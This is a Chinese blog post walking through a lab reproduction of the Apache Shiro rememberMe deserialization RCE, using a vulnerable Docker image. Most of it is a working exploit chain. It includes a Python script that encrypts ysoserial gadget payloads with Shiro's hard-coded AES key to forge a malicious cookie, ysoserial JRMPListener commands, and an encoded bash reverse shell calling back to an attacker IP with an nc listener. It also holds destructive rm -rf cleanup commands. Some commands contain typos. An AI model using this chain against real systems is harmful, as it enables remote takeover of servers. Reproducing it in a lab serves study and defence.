shiro反序列化的复现

搭建环境:云服务器 ubuntu18.0.4

漏洞的原理:shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

漏洞影响的版本:Apache Shiro <= 1.2.4

payload:前16字节的密钥-->后面加入序列化参数-->Aes-128-cbc加密-->base64编码-->发送cookie

附件过程中,踩了一个大坑,坑就是我的云服务器的java不能用于复现(不晓得是什么原因),所以需要我们卸载服务器的java环境,重新安装一个

一:彻底卸载服务器java

(1) apt-get update

(2) apt-cache search java | awk '{print($1)}' | grep -E -e

'^(ia32-)?(sun|oracle)-java' -e '^openjdk-' -e '^icedtea' -e

'^(default|gcj)-j(re|dk)' -e '^gcj-(.*)-j(re|dk)' -e 'java-common' |

xargs sudo apt-get -y remove

(3) apt-get -y autoremove

2、清除配置信息:  dpkg -l | grep ^rc | awk '{print($2)}' | xargs sudo apt-get -y purge

3、清除java配置及缓存:  bash -c 'ls -d /home/*/.java' | xargs sudo rm -rf

4、手动清除JVMs:  rm -rf /usr/lib/jvm/*

二:安装java

更新软件包列表:sudo apt-get update

安装openjdk-8-jdk:sudo apt-get install openjdk-8-jdk

三:搭建复现的环境:

拉取镜像:docker pull medicean/vulapps:s_shiro_1

启动镜像:docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

访问搭建的shiro:ip:8081


shiro反序列化的复现_第1张图片

制作反弹shell 代码:

使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码

bash -I >& /dev/tcp 192.168.19.147/1234 0>&1

使用ysoserial中JRMP监听模块,监听6666端口:;

攻击机中执行命令:

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5LjE0Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

采用nc监听1234端口:

nc -lnvp 1234

Shiro_JRMPClient.py:

import sys

import uuid

import base64

import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command):

    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

    BS = AES.block_size

    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

    #key = base64.b64decode("Z3VucwAAAAAAAAAAAAAAAA==")

    iv = uuid.uuid4().bytes

    encryptor = AES.new(key, AES.MODE_CBC, iv)

    file_body = pad(popen.stdout.read())

    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_ciphertext

if __name__ == '__main__':

    payload = encode_rememberme(sys.argv[1])   

    print "rememberMe={0}".format(payload.decode())

使用Shiro_JRMPClient.py反弹

python  Shiro_JRMPClient.py   92.168.19.147:6666

此时会生成 rememberMe

shiro反序列化的复现_第2张图片

此时粘贴 rememberMe进cookie中


shiro反序列化的复现_第3张图片

此时就可以反弹shell了


shiro反序列化的复现_第4张图片

参考链接:

https://www.jianshu.com/p/0007eafd1f92

https://blog.csdn.net/u011975363/article/details/102391669

你可能感兴趣的:(shiro反序列化的复现)